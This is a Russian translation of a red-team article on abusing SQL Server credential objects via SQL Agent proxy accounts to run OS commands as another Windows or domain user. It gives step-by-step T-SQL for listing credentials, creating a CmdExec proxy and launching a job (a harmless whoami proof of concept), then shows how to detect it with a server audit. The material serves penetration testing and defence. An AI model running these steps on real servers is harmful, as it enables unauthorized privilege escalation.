Введение

Эта публикация - перевод статьи Scott Sutherland - Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation. В публикации описано, как объекты учетных данных SQL Server могут быть использованы злоумышленниками для выполнения кода от имени пользователя SQL Server, локального пользователя Windows или доменного пользователя. Также, в публикации будет информация о том, как настроить логирование для обнаружения соответствующего поведения.

Важно!

Все описанное ниже в статье приводится только для понимания угрозы и противодействия ей. Использование приведенных ниже методов должно осуществляться только с получением согласования владельца системы и с целью повышения безопасности.

Описание сценария

Давайте для начала обрисуем общий сценарий и проблему, которую мы пытаемся решить с помощью этого метода.

Вы являетесь пентестером или сотрудником red team.
Вы получили привилегии системного администратора на экземпляре SQL Server с помощью распространенного метода атаки, такого как: SQL-инъекция, слабый пароль, чрезмерные привилегии или неправильно настроенная ссылка на SQL Server.
Вы можете выполнять команды и код в операционной системе хоста в контексте учетной записи службы SQL Server, используя различные методы, такие как xp_cmdshell, пользовательские CLR, задания агента и т.д.
Проблема в том, что учетная запись службы SQL Server настроена для запуска от имени NT Service\MSSQLSERVER, которая является учетной записью с ограниченными привилегиями в операционной системе. Мы хотим иметь как минимум права локального администратора и, если повезет, администратора домена. Итак, нам нужно найти обходной путь.
Учитывая ограничения учетной записи NT Service\MSSQLSERVER, нашим следующим шагом будет попытка повысить привилегии локально. В Windows существует множество подходов к повышению привилегий, ориентированных на операционную систему, включая #AllThePotatoes, но не ограничиваясь ими. Тем не менее, я хотел бы рассмотреть, как можно злоупотреблять учетными данными SQL Server, если они были настроены на экземпляре SQL Server.

Что такое объект учетных данных (Credential Object) в SQL Server?

Учетные данные - это объекты в SQL Server, хранящие информацию, такую как имена пользователей и пароли, которые могут использоваться для аутентификации на внешних ресурсах, таких как другие SQL-серверы, общие файловые ресурсы или веб-службы, а также могут использоваться выполнения процессов/задач в контексте другого пользователя. К типам учетных данных относятся учетные данные для входа в SQL Server, локальные пользователи Windows и доменные пользователи Active Directory.

Некоторые распространенные подсистемы SQL Server, использующие учетные данные, включают:

Задания агента
Службы интеграции SQL Server (SSIS)
Службы отчетов SQL Server (SSRS)
Связанные серверы
Почта базы данных
Service Broker
Репликация

Существует множество легитимных вариантов использования объектов учетных данных в SQL Server, но, как и все сохраненные токены аутентификации, они могут стать мишенью злоумышленников и использоваться в нелегитимных целях.

Как можно восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?

Получение паролей в виде открытого текста очень поможет при повышении привилегий. Итак, как мы можем восстановить их из объектов учетных данных SQL Server? Основным препятствием является шифрование. Информация, хранящаяся в объектах учетных данных, шифруется с помощью описанного здесь процесса.

К счастью, Антти Рантасаари в 2014 году разработал скрипт PowerShell, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Он также опубликовал подробное сообщение в блоге, в котором описал процесс расшифровки. С тех пор этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools Крисси Лемер, которая активно его поддерживала.

Чтобы запустить функцию Antti, импортируйте его функцию PowerShell и выполните приведенную ниже команду.

Get-MSSQLCredentialPasswords

Однако, прежде чем вы начнете идти по этому пути, вы должны знать, что существуют определенные требования, чтобы функция работала.

Доступно в нашем сценарии	Требование	Описание
Да	Для восстановления паролей в экземпляре SQL Server должен быть создан один или несколько объектов учетных данных.	В нашем сценарии мы предполагаем, что были созданы объекты учетных данных. Однако в реальном мире вам придется это подтвердить.
Да	Привилегия системного администратора SQL Server	В нашем сценарии мы имеем это.
Да	Подключение к DAC	Обладая правами системного администратора, мы можем установить его с помощью выполнения команд операционной системы или специальных запросов.
Нет	Права локального администратора в операционной системе	Необходимы для чтения информации о шифровании в разделе SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy. Учетная запись Service\MSSQLSERVER не имеет доступа к этому разделу реестра.

В нашем сценарии мы не отвечаем всем необходимым требованиям для восстановления паролей в открытом тексте из объектов учетных данных. Метод Антти Рантасаари очень эффективен, но он требует, чтобы у нас уже были права локального администратора в системе Windows, в которой размещен экземпляр SQL Server. Без этих административных привилегий метод не может быть применен. Итак, какие у нас есть варианты, если у нас нет локальных административных привилегий?

Как можно использовать объекты учетных данных SQL Server без доступа локального администратора?

Как обсуждалось ранее, объекты учетных данных в SQL Server предназначены для обеспечения доступа к внешним ресурсам и выполнения задач в контексте другого пользователя. Это означает, что нам не нужны имена пользователей и пароли, хранящиеся в объектах учетных данных, для запуска кода в контексте другого пользователя — мы можем использовать функциональность в том виде, в каком она была разработана.

Ниже приведен процесс, который можно использовать для “перехвата” существующего объекта учетных данных, настроенного на экземпляре SQL Server, что позволит вам выполнять код в контексте предоставленного пользователя, используя задания агента SQL Server. Пароль или права администратора локальной операционной системы не требуются.

Подготовка среды для тестирования

Устанавливаем MS SQL Server
Создайте локального пользователя Windows с именем testuser и назначьте его локальным администратором.

net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser

Входим на SQL Server и создаем объект учетных данных.

CREATE CREDENTIAL [MyCredential] 
WITH IDENTITY = 'yourcomputernamehere\testuser',  
SECRET = 'P@ssw0rd!';

Пошаговое руководство по запуску кода в контексте другого пользователя

Входим в экземпляр SQL Server. Проверяем, что у нас есть права системного администратора SQL Server.

SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;

Смотрим имеющиеся в SQL Server учетные данные. Приведенный ниже запрос предоставит список учетных данных, настроенных на экземпляре SQL Server. Если таковые существуют, мы уже на полпути к цели.

SELECT * FROM sys.credentials

Смотрим имеющиеся в SQL Server учетные записи прокси-агента. Прокси-агенты привязаны к объектам учетных данных SQL Server и используются агентами заданий (agent jobs). Использование существующей учетной записи прокси-агента может снизить вероятность обнаружения.

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO

Создаем учетную запись прокси-агента. Если для объекта учетных данных, который мы хотим использовать, еще не существует прокси-агента, мы можем создать его и назначить необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-агента можно ознакомиться с информацией здесь.

USE msdb; 
GO 

EXEC sp_add_proxy  
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy 
  @credential_name = N'MyCredential';      -- Name of the existing credential 

EXEC sp_grant_proxy_to_subsystem  
  @proxy_name = N'MyCredentialProxy',  
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

Проверяем, что учетная запись прокси-агента создана.

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO

Создаем задание агента для выполнения нужного кода или команд в операционной системе. Доступные параметры по умолчанию включают PowerShell, VBScript, JScript и CMDEXEC. Убедитесь, что для задания настроена соответствующая учетная запись прокси-агента. В приведенном ниже примере с подтверждением концепции процесс просто создает файл с именем whoami.txt в папке C:\Windows\Temp\, чтобы продемонстрировать, что процесс был выполнен в контексте пользователя прокси-сервера.

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';

Используйте приведенный ниже запрос, чтобы убедиться, что Агент использует учетную запись прокси-агента. В запросе также будут указаны все другие Агенты задания, настроенные на запуск с использованием учетных записей прокси-агентов.

USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id;

Используем агент задания таким образом, чтобы процесс был запущен в контексте учетной записи прокси-агента и выполнил наш код/команду.

EXEC sp_start_job @job_name = N'WhoAmIJob';

Проверим выполнение, просмотрев содержимое файла c:\windows\temp\whoami.txt.

Итак, подведем итог: мы смогли выполнять команды в операционной системе SQL Server, используя учетные данные, без необходимости знать соответствующее имя пользователя или пароль. Однако на данный момент, если вам удалось выдать себя за пользователя с правами локального администратора, вы также можете восстановить имя пользователя и пароль в открытом виде из настроенных объектов учетных данных, используя методику Antti, которую мы приводили выше.

Детектирование и расследование

Предыдущий раздел был хорош для атакующих, но не так хорош для сотрудников кибербезопасности. Ниже приведен обзор некоторых возможностей детектирования.

Источник данных: журнал приложений Windows
Стратегия обнаружения: Аномалии пользовательского поведения
Концепция обнаружения: Чтобы обнаружить злоупотребление объектами учетных данных с использованием учетных записей прокси-агентов, необходимо обеспечить мониторинг сервера и базы данных SQL Server, которые позволять детектировать, когда создается учетная запись прокси-агента, путем мониторинга выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’. SQL Server также можно настроить для отправки этих событий в журнал приложений Windows, где можно включить мониторинг события с ID 33205.
Детектирование: некоторые администраторы баз данных могут использовать учетные данные и учетные записи прокси-агентов в законных целях, но это не должно происходить регулярно.

Инструкции по настройке обнаружения

Создайте аудит сервера.

Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO

Создайте спецификацию аудита базы данных. Это позволит отслеживать изменения на уровне сервера и базы данных в базе данных msdb.

USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO

Включите спецификацию.

Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO

Если вы повторно выполните действия по созданию учетной записи прокси-агента и просмотрите журнал приложений Windows на предмет события с идентификатором 33205, вы должны увидеть экземпляры выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’.

Использование учетных данных MS SQL Server для повышения привилегий